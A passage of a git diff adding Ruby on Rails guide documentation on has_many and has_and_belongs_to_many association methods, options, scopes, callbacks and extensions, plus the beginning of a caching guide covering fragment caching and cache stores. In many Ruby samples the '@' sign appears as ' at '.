+The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+
+##### `collection.clear`
+
+The `collection.clear` method removes every object from the collection. This destroys the associated objects if they are associated with `dependent: :destroy`, deletes them directly from the database if `dependent: :delete_all`, and otherwise sets their foreign keys to `NULL`.
+
+##### `collection.empty?`
+
+The `collection.empty?` method returns `true` if the collection does not contain any associated objects.
+
+```erb
+<% if @customer.orders.empty? %>
+ No Orders Found
+<% end %>
+```
+
+##### `collection.size`
+
+The `collection.size` method returns the number of objects in the collection.
+
+```ruby
+ at order_count = @customer.orders.size
+```
+
+##### `collection.find(...)`
+
+The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`.
+
+```ruby
+ at open_orders = @customer.orders.find(1)
+```
+
+##### `collection.where(...)`
+
+The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.
+
+```ruby
+ at open_orders = @customer.orders.where(open: true) # No query yet
+ at open_order = @open_orders.first # Now the database will be queried
+```
+
+##### `collection.exists?(...)`
+
+The `collection.exists?` method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as `ActiveRecord::Base.exists?`.
+
+##### `collection.build(attributes = {}, ...)`
+
+The `collection.build` method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
+
+```ruby
+ at order = @customer.orders.build(order_date: Time.now,
+ order_number: "A12345")
+```
+
+##### `collection.create(attributes = {})`
+
+The `collection.create` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+ at order = @customer.orders.create(order_date: Time.now,
+ order_number: "A12345")
+```
+
+#### Options for `has_many`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, dependent: :delete_all, validate: :false
+end
+```
+
+The `has_many` association supports these options:
+
+* `:as`
+* `:autosave`
+* `:class_name`
+* `:dependent`
+* `:foreign_key`
+* `:inverse_of`
+* `:primary_key`
+* `:source`
+* `:source_type`
+* `:through`
+* `:validate`
+
+##### `:as`
+
+Setting the `:as` option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>.
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is `Transaction`, you'd set things up this way:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, class_name: "Transaction"
+end
+```
+
+##### `:dependent`
+
+Controls what happens to the associated objects when their owner is destroyed:
+
+* `:destroy` causes all the associated objects to also be destroyed
+* `:delete_all` causes all the associated objects to be deleted directly from the database (so callbacks will not execute)
+* `:nullify` causes the foreign keys to be set to `NULL`. Callbacks are not executed.
+* `:restrict_with_exception` causes an exception to be raised if there are any associated records
+* `:restrict_with_error` causes an error to be added to the owner if there are any associated objects
+
+NOTE: This option is ignored when you use the `:through` option on the association.
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, foreign_key: "cust_id"
+end
+```
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+##### `:inverse_of`
+
+The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options.
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, inverse_of: :customer
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer, inverse_of: :orders
+end
+```
+
+##### `:primary_key`
+
+By convention, Rails assumes that the column used to hold the primary key of the association is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option.
+
+##### `:source`
+
+The `:source` option specifies the source association name for a `has_many :through` association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.
+
+##### `:source_type`
+
+The `:source_type` option specifies the source association type for a `has_many :through` association that proceeds through a polymorphic association.
+
+##### `:through`
+
+The `:through` option specifies a join model through which to perform the query. `has_many :through` associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has-many-through-association">earlier in this guide</a>.
+
+##### `:validate`
+
+If you set the `:validate` option to `false`, then associated objects will not be validated whenever you save this object. By default, this is `true`: associated objects will be validated when this object is saved.
+
+#### Scopes for `has_many`
+
+There may be times when you wish to customize the query used by `has_many`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, -> { where processed: true }
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `extending`
+* `group`
+* `includes`
+* `limit`
+* `offset`
+* `order`
+* `readonly`
+* `select`
+* `uniq`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :confirmed_orders, -> { where "confirmed = 1" },
+ class_name: "Order"
+end
+```
+
+You can also set conditions via a hash:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :confirmed_orders, -> { where confirmed: true },
+ class_name: "Order"
+end
+```
+
+If you use a hash-style `where` option, then record creation via this association will be automatically scoped using the hash. In this case, using `@customer.confirmed_orders.create` or `@customer.confirmed_orders.build` will create orders where the confirmed column has the value `true`.
+
+##### `extending`
+
+The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
+
+##### `group`
+
+The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL.
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :line_items, -> { group 'orders.id' },
+ through: :orders
+end
+```
+
+##### `includes`
+
+You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+ has_many :line_items
+end
+
+class LineItem < ActiveRecord::Base
+ belongs_to :order
+end
+```
+
+If you frequently retrieve line items directly from customers (`@customer.orders.line_items`), then you can make your code somewhat more efficient by including line items in the association from customers to orders:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, -> { includes :line_items }
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+ has_many :line_items
+end
+
+class LineItem < ActiveRecord::Base
+ belongs_to :order
+end
+```
+
+##### `limit`
+
+The `limit` method lets you restrict the total number of objects that will be fetched through an association.
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :recent_orders,
+ -> { order('order_date desc').limit(100) },
+ class_name: "Order",
+end
+```
+
+##### `offset`
+
+The `offset` method lets you specify the starting offset for fetching objects via an association. For example, `-> { offset(11) }` will skip the first 11 records.
+
+##### `order`
+
+The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause).
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, -> { order "date_confirmed DESC" }
+end
+```
+
+##### `readonly`
+
+If you use the `readonly` method, then the associated objects will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+
+WARNING: If you specify your own `select`, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
+
+##### `distinct`
+
+Use the `distinct` method to keep the collection free of duplicates. This is
+mostly useful together with the `:through` option.
+
+```ruby
+class Person < ActiveRecord::Base
+ has_many :readings
+ has_many :posts, through: :readings
+end
+
+person = Person.create(name: 'John')
+post = Post.create(name: 'a1')
+person.posts << post
+person.posts << post
+person.posts.inspect # => [#<Post id: 5, name: "a1">, #<Post id: 5, name: "a1">]
+Reading.all.inspect # => [#<Reading id: 12, person_id: 5, post_id: 5>, #<Reading id: 13, person_id: 5, post_id: 5>]
+```
+
+In the above case there are two readings and `person.posts` brings out both of
+them even though these records are pointing to the same post.
+
+Now let's set `distinct`:
+
+```ruby
+class Person
+ has_many :readings
+ has_many :posts, -> { distinct }, through: :readings
+end
+
+person = Person.create(name: 'Honda')
+post = Post.create(name: 'a1')
+person.posts << post
+person.posts << post
+person.posts.inspect # => [#<Post id: 7, name: "a1">]
+Reading.all.inspect # => [#<Reading id: 16, person_id: 7, post_id: 7>, #<Reading id: 17, person_id: 7, post_id: 7>]
+```
+
+In the above case there are still two readings. However `person.posts` shows
+only one post because the collection loads only unique records.
+
+If you want to make sure that, upon insertion, all of the records in the
+persisted association are distinct (so that you can be sure that when you
+inspect the association that you will never find duplicate records), you should
+add a unique index on the table itself. For example, if you have a table named
+``person_posts`` and you want to make sure all the posts are unique, you could
+add the following in a migration:
+
+```ruby
+add_index :person_posts, :post, :unique => true
+```
+
+Note that checking for uniqueness using something like ``include?`` is subject
+to race conditions. Do not attempt to use ``include?`` to enforce distinctness
+in an association. For instance, using the post example from above, the
+following code would be racy because multiple users could be attempting this
+at the same time:
+
+```ruby
+person.posts << post unless person.posts.include?(post)
+```
+
+#### When are Objects Saved?
+
+When you assign an object to a `has_many` association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.
+
+If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.
+
+If the parent object (the one declaring the `has_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+
+If you want to assign an object to a `has_many` association without saving the object, use the `collection.build` method.
+
+### `has_and_belongs_to_many` Association Reference
+
+The `has_and_belongs_to_many` association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.
+
+#### Methods Added by `has_and_belongs_to_many`
+
+When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 13 methods related to the association:
+
+* `collection(force_reload = false)`
+* `collection<<(object, ...)`
+* `collection.delete(object, ...)`
+* `collection.destroy(object, ...)`
+* `collection=objects`
+* `collection_singular_ids`
+* `collection_singular_ids=ids`
+* `collection.clear`
+* `collection.empty?`
+* `collection.size`
+* `collection.find(...)`
+* `collection.where(...)`
+* `collection.exists?(...)`
+* `collection.build(attributes = {})`
+* `collection.create(attributes = {})`
+
+In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_and_belongs_to_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration:
+
+```ruby
+class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+```
+
+Each instance of the part model will have these methods:
+
+```ruby
+assemblies(force_reload = false)
+assemblies<<(object, ...)
+assemblies.delete(object, ...)
+assemblies.destroy(object, ...)
+assemblies=objects
+assembly_ids
+assembly_ids=ids
+assemblies.clear
+assemblies.empty?
+assemblies.size
+assemblies.find(...)
+assemblies.where(...)
+assemblies.exists?(...)
+assemblies.build(attributes = {}, ...)
+assemblies.create(attributes = {})
+```
+
+##### Additional Column Methods
+
+If the join table for a `has_and_belongs_to_many` association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.
+
+WARNING: The use of extra attributes on the join table in a `has_and_belongs_to_many` association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a `has_many :through` association instead of `has_and_belongs_to_many`.
+
+
+##### `collection(force_reload = false)`
+
+The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+
+```ruby
+ at assemblies = @part.assemblies
+```
+
+##### `collection<<(object, ...)`
+
+The `collection<<` method adds one or more objects to the collection by creating records in the join table.
+
+```ruby
+ at part.assemblies << @assembly1
+```
+
+NOTE: This method is aliased as `collection.concat` and `collection.push`.
+
+##### `collection.delete(object, ...)`
+
+The `collection.delete` method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
+
+```ruby
+ at part.assemblies.delete(@assembly1)
+```
+
+WARNING: This does not trigger callbacks on the join records.
+
+##### `collection.destroy(object, ...)`
+
+The `collection.destroy` method removes one or more objects from the collection by running `destroy` on each record in the join table, including running callbacks. This does not destroy the objects.
+
+```ruby
+ at part.assemblies.destroy(@assembly1)
+```
+
+##### `collection=objects`
+
+The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+
+##### `collection_singular_ids`
+
+The `collection_singular_ids` method returns an array of the ids of the objects in the collection.
+
+```ruby
+ at assembly_ids = @part.assembly_ids
+```
+
+##### `collection_singular_ids=ids`
+
+The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+
+##### `collection.clear`
+
+The `collection.clear` method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.
+
+##### `collection.empty?`
+
+The `collection.empty?` method returns `true` if the collection does not contain any associated objects.
+
+```ruby
+<% if @part.assemblies.empty? %>
+ This part is not used in any assemblies
+<% end %>
+```
+
+##### `collection.size`
+
+The `collection.size` method returns the number of objects in the collection.
+
+```ruby
+ at assembly_count = @part.assemblies.size
+```
+
+##### `collection.find(...)`
+
+The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`. It also adds the additional condition that the object must be in the collection.
+
+```ruby
+ at assembly = @part.assemblies.find(1)
+```
+
+##### `collection.where(...)`
+
+The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection.
+
+```ruby
+ at new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
+```
+
+##### `collection.exists?(...)`
+
+The `collection.exists?` method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as `ActiveRecord::Base.exists?`.
+
+##### `collection.build(attributes = {})`
+
+The `collection.build` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
+
+```ruby
+ at assembly = @part.assemblies.build({assembly_name: "Transmission housing"})
+```
+
+##### `collection.create(attributes = {})`
+
+The `collection.create` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+ at assembly = @part.assemblies.create({assembly_name: "Transmission housing"})
+```
+
+#### Options for `has_and_belongs_to_many`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_and_belongs_to_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies, uniq: true,
+ read_only: true
+end
+```
+
+The `has_and_belongs_to_many` association supports these options:
+
+* `:association_foreign_key`
+* `:autosave`
+* `:class_name`
+* `:foreign_key`
+* `:join_table`
+* `:validate`
+
+##### `:association_foreign_key`
+
+By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix `_id` added. The `:association_foreign_key` option lets you set the name of the foreign key directly:
+
+TIP: The `:foreign_key` and `:association_foreign_key` options are useful when setting up a many-to-many self-join. For example:
+
+```ruby
+class User < ActiveRecord::Base
+ has_and_belongs_to_many :friends,
+ class_name: "User",
+ foreign_key: "this_user_id",
+ association_foreign_key: "other_user_id"
+end
+```
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is `Gadget`, you'd set things up this way:
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies, class_name: "Gadget"
+end
+```
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class User < ActiveRecord::Base
+ has_and_belongs_to_many :friends,
+ class_name: "User",
+ foreign_key: "this_user_id",
+ association_foreign_key: "other_user_id"
+end
+```
+
+##### `:join_table`
+
+If the default name of the join table, based on lexical ordering, is not what you want, you can use the `:join_table` option to override the default.
+
+##### `:validate`
+
+If you set the `:validate` option to `false`, then associated objects will not be validated whenever you save this object. By default, this is `true`: associated objects will be validated when this object is saved.
+
+#### Scopes for `has_and_belongs_to_many`
+
+There may be times when you wish to customize the query used by `has_and_belongs_to_many`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies, -> { where active: true }
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `extending`
+* `group`
+* `includes`
+* `limit`
+* `offset`
+* `order`
+* `readonly`
+* `select`
+* `uniq`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies,
+ -> { where "factory = 'Seattle'" }
+end
+```
+
+You can also set conditions via a hash:
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies,
+ -> { where factory: 'Seattle' }
+end
+```
+
+If you use a hash-style `where`, then record creation via this association will be automatically scoped using the hash. In this case, using `@parts.assemblies.create` or `@parts.assemblies.build` will create orders where the `factory` column has the value "Seattle".
+
+##### `extending`
+
+The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
+
+##### `group`
+
+The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL.
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies, -> { group "factory" }
+end
+```
+
+##### `includes`
+
+You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used.
+
+##### `limit`
+
+The `limit` method lets you restrict the total number of objects that will be fetched through an association.
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies,
+ -> { order("created_at DESC").limit(50) }
+end
+```
+
+##### `offset`
+
+The `offset` method lets you specify the starting offset for fetching objects via an association. For example, if you set `offset(11)`, it will skip the first 11 records.
+
+##### `order`
+
+The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause).
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies,
+ -> { order "assembly_name ASC" }
+end
+```
+
+##### `readonly`
+
+If you use the `readonly` method, then the associated objects will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+
+##### `uniq`
+
+Use the `uniq` method to remove duplicates from the collection.
+
+#### When are Objects Saved?
+
+When you assign an object to a `has_and_belongs_to_many` association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.
+
+If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.
+
+If the parent object (the one declaring the `has_and_belongs_to_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+
+If you want to assign an object to a `has_and_belongs_to_many` association without saving the object, use the `collection.build` method.
+
+### Association Callbacks
+
+Normal callbacks hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a `:before_save` callback to cause something to happen just before an object is saved.
+
+Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of a collection. There are four available association callbacks:
+
+* `before_add`
+* `after_add`
+* `before_remove`
+* `after_remove`
+
+You define association callbacks by adding options to the association declaration. For example:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, before_add: :check_credit_limit
+
+ def check_credit_limit(order)
+ ...
+ end
+end
+```
+
+Rails passes the object being added or removed to the callback.
+
+You can stack callbacks on a single event by passing them as an array:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders,
+ before_add: [:check_credit_limit, :calculate_shipping_charges]
+
+ def check_credit_limit(order)
+ ...
+ end
+
+ def calculate_shipping_charges(order)
+ ...
+ end
+end
+```
+
+If a `before_add` callback throws an exception, the object does not get added to the collection. Similarly, if a `before_remove` callback throws an exception, the object does not get removed from the collection.
+
+### Association Extensions
+
+You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders do
+ def find_by_order_prefix(order_number)
+ find_by_region_id(order_number[0..2])
+ end
+ end
+end
+```
+
+If you have an extension that should be shared by many associations, you can use a named extension module. For example:
+
+```ruby
+module FindRecentExtension
+ def find_recent
+ where("created_at > ?", 5.days.ago)
+ end
+end
+
+class Customer < ActiveRecord::Base
+ has_many :orders, -> { extending FindRecentExtension }
+end
+
+class Supplier < ActiveRecord::Base
+ has_many :deliveries, -> { extending FindRecentExtension }
+end
+```
+
+Extensions can refer to the internals of the association proxy using these three attributes of the `proxy_association` accessor:
+
+* `proxy_association.owner` returns the object that the association is a part of.
+* `proxy_association.reflection` returns the reflection object that describes the association.
+* `proxy_association.target` returns the associated object for `belongs_to` or `has_one`, or the collection of associated objects for `has_many` or `has_and_belongs_to_many`.
diff --git a/guides/source/caching_with_rails.md b/guides/source/caching_with_rails.md
new file mode 100644
index 0000000..e1fc3d0
--- /dev/null
+++ b/guides/source/caching_with_rails.md
@@ -0,0 +1,345 @@
+Caching with Rails: An overview
+===============================
+
+This guide will teach you what you need to know about avoiding that expensive round-trip to your database and returning what you need to return to the web clients in the shortest time possible.
+
+After reading this guide, you will know:
+
+* Page and action caching (moved to separate gems as of Rails 4).
+* Fragment caching.
+* Alternative cache stores.
+* Conditional GET support.
+
+--------------------------------------------------------------------------------
+
+Basic Caching
+-------------
+
+This is an introduction to three types of caching techniques: page, action and
+fragment caching. Rails provides by default fragment caching. In order to use
+page and action caching, you will need to add `actionpack-page_caching` and
+`actionpack-action_caching` to your Gemfile.
+
+To start playing with caching you'll want to ensure that `config.action_controller.perform_caching` is set to `true`, if you're running in development mode. This flag is normally set in the corresponding `config/environments/*.rb` and caching is disabled by default for development and test, and enabled for production.
+
+```ruby
+config.action_controller.perform_caching = true
+```
+
+### Page Caching
+
+Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with.
+
+INFO: Page Caching has been removed from Rails 4. See the [actionpack-page_caching gem](https://github.com/rails/actionpack-page_caching)
+
+### Action Caching
+
+Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy.
+
+INFO: Action Caching has been removed from Rails 4. See the [actionpack-action_caching gem](https://github.com/rails/actionpack-action_caching)
+
+### Fragment Caching
+
+Life would be perfect if we could get away with caching the entire contents of a page or action and serving it out to the world. Unfortunately, dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. In order to address such a dynamically created page where different parts of the page need to be cached and expired differently, Rails provides a mechanism called Fragment Caching.
+
+Fragment Caching allows a fragment of view logic to be wrapped in a cache block and served out of the cache store when the next request comes in.
+
+As an example, if you wanted to show all the orders placed on your website in real time and didn't want to cache that part of the page, but did want to cache the part of the page which lists all products available, you could use this piece of code:
+
+```html+erb
+<% Order.find_recent.each do |o| %>
+ <%= o.buyer.name %> bought <%= o.product.name %>
+<% end %>
+
+<% cache do %>
+ All available products:
+ <% Product.all.each do |p| %>
+ <%= link_to p.name, product_url(p) %>
+ <% end %>
+<% end %>
+```
+
+The cache block in our example will bind to the action that called it and is written out to the same place as the Action Cache, which means that if you want to cache multiple fragments per action, you should provide an `action_suffix` to the cache call:
+
+```html+erb
+<% cache(action: 'recent', action_suffix: 'all_products') do %>
+ All available products:
+```
+
+and you can expire it using the `expire_fragment` method, like so:
+
+```ruby
+expire_fragment(controller: 'products', action: 'recent', action_suffix: 'all_products')
+```
+
+If you don't want the cache block to bind to the action that called it, you can also use globally keyed fragments by calling the `cache` method with a key:
+
+```erb
+<% cache('all_available_products') do %>
+ All available products:
+<% end %>
+```
+
+This fragment is then available to all actions in the `ProductsController` using the key and can be expired the same way:
+
+```ruby
+expire_fragment('all_available_products')
+```
+If you want to avoid expiring the fragment manually, whenever an action updates a product, you can define a helper method:
+
+```ruby
+module ProductsHelper
+ def cache_key_for_products
+ count = Product.count
+ max_updated_at = Product.maximum(:updated_at).try(:utc).try(:to_s, :number)
+ "products/all-#{count}-#{max_updated_at}"
+ end
+end
+```
+
+This method generates a cache key that depends on all products and can be used in the view:
+
+```erb
+<% cache(cache_key_for_products) do %>
+ All available products:
+<% end %>
+```
+You can also use an Active Record model as the cache key:
+
+```erb
+<% Product.all.each do |p| %>
+ <% cache(p) do %>
+ <%= link_to p.name, product_url(p) %>
+ <% end %>
+<% end %>
+```
+
+Behind the scenes, a method called `cache_key` will be invoked on the model and it returns a string like `products/23-20130109142513`. The cache key includes the model name, the id and finally the updated_at timestamp. Thus it will automatically generate a new fragment when the product is updated because the key changes.
+
+You can also combine the two schemes which is called "Russian Doll Caching":
+
+```erb
+<% cache(cache_key_for_products) do %>
+ All available products:
+ <% Product.all.each do |p| %>
+ <% cache(p) do %>
+ <%= link_to p.name, product_url(p) %>
+ <% end %>
+ <% end %>
+<% end %>
+```
+
+It's called "Russian Doll Caching" because it nests multiple fragments. The advantage is that if a single product is updated, all the other inner fragments can be reused when regenerating the outer fragment.
+
+### SQL Caching
+
+Query caching is a Rails feature that caches the result set returned by each query so that if Rails encounters the same query again for that request, it will use the cached result set as opposed to running the query against the database again.
+
+For example:
+
+```ruby
+class ProductsController < ApplicationController
+
+ def index
+ # Run a find query
+ @products = Product.all
+
+ ...
+
+ # Run the same query again
+ @products = Product.all
+ end
+
+end
+```
+
+Cache Stores
+------------
+
+Rails provides different stores for the cached data created by <b>action</b> and <b>fragment</b> caches.
+
+TIP: Page caches are always stored on disk.
+
+### Configuration
+
+You can set up your application's default cache store by calling `config.cache_store=` in the Application definition inside your `config/application.rb` file or in an Application.configure block in an environment specific configuration file (i.e. `config/environments/*.rb`). The first argument will be the cache store to use and the rest of the argument will be passed as arguments to the cache store constructor.
+
+```ruby
+config.cache_store = :memory_store
+```
+
+NOTE: Alternatively, you can call `ActionController::Base.cache_store` outside of a configuration block.
+
+You can access the cache by calling `Rails.cache`.
+
+### ActiveSupport::Cache::Store
+
+This class provides the foundation for interacting with the cache in Rails. This is an abstract class and you cannot use it on its own. Rather you must use a concrete implementation of the class tied to a storage engine. Rails ships with several implementations documented below.
+
+The main methods to call are `read`, `write`, `delete`, `exist?`, and `fetch`. The fetch method takes a block and will either return an existing value from the cache, or evaluate the block and write the result to the cache if no value exists.
+
+There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries.
+
+* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. The default value will include the application name and Rails environment.
+
+* `:compress` - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network.
+
+* `:compress_threshold` - This options is used in conjunction with the `:compress` option to indicate a threshold under which cache entries should not be compressed. This defaults to 16 kilobytes.
+
+* `:expires_in` - This option sets an expiration time in seconds for the cache entry when it will be automatically removed from the cache.
+
+* `:race_condition_ttl` - This option is used in conjunction with the `:expires_in` option. It will prevent race conditions when cache entries expire by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect). This option sets the number of seconds that an expired entry can be reused while a new value is being regenerated. It's a good practice to set this value if you use the `:expires_in` option.
+
+### ActiveSupport::Cache::MemoryStore
+
+This cache store keeps entries in memory in the same Ruby process. The cache store has a bounded size specified by the `:size` options to the initializer (default is 32Mb). When the cache exceeds the allotted size, a cleanup will occur and the least recently used entries will be removed.
+
+```ruby
+config.cache_store = :memory_store, { size: 64.megabytes }
+```
+
+If you're running multiple Ruby on Rails server processes (which is the case if you're using mongrel_cluster or Phusion Passenger), then your Rails server process instances won't be able to share cache data with each other. This cache store is not appropriate for large application deployments, but can work well for small, low traffic sites with only a couple of server processes or for development and test environments.
+
+### ActiveSupport::Cache::FileStore
+
+This cache store uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache.
+
+```ruby
+config.cache_store = :file_store, "/path/to/cache/directory"
+```
+
+With this cache store, multiple server processes on the same host can share a cache. Servers processes running on different hosts could share a cache by using a shared file system, but that set up would not be ideal and is not recommended. The cache store is appropriate for low to medium traffic sites that are served off one or two hosts.
+
+Note that the cache will grow until the disk is full unless you periodically clear out old entries.
+
+This is the default cache store implementation.
+
+### ActiveSupport::Cache::MemCacheStore
+
+This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy.
+
+When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none is specified, it will assume memcached is running on the local host on the default port, but this is not an ideal set up for larger sites.
+
+The `write` and `fetch` methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify `:raw` to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operation like `increment` and `decrement` only on raw values. You can also specify `:unless_exist` if you don't want memcached to overwrite an existing entry.
+
+```ruby
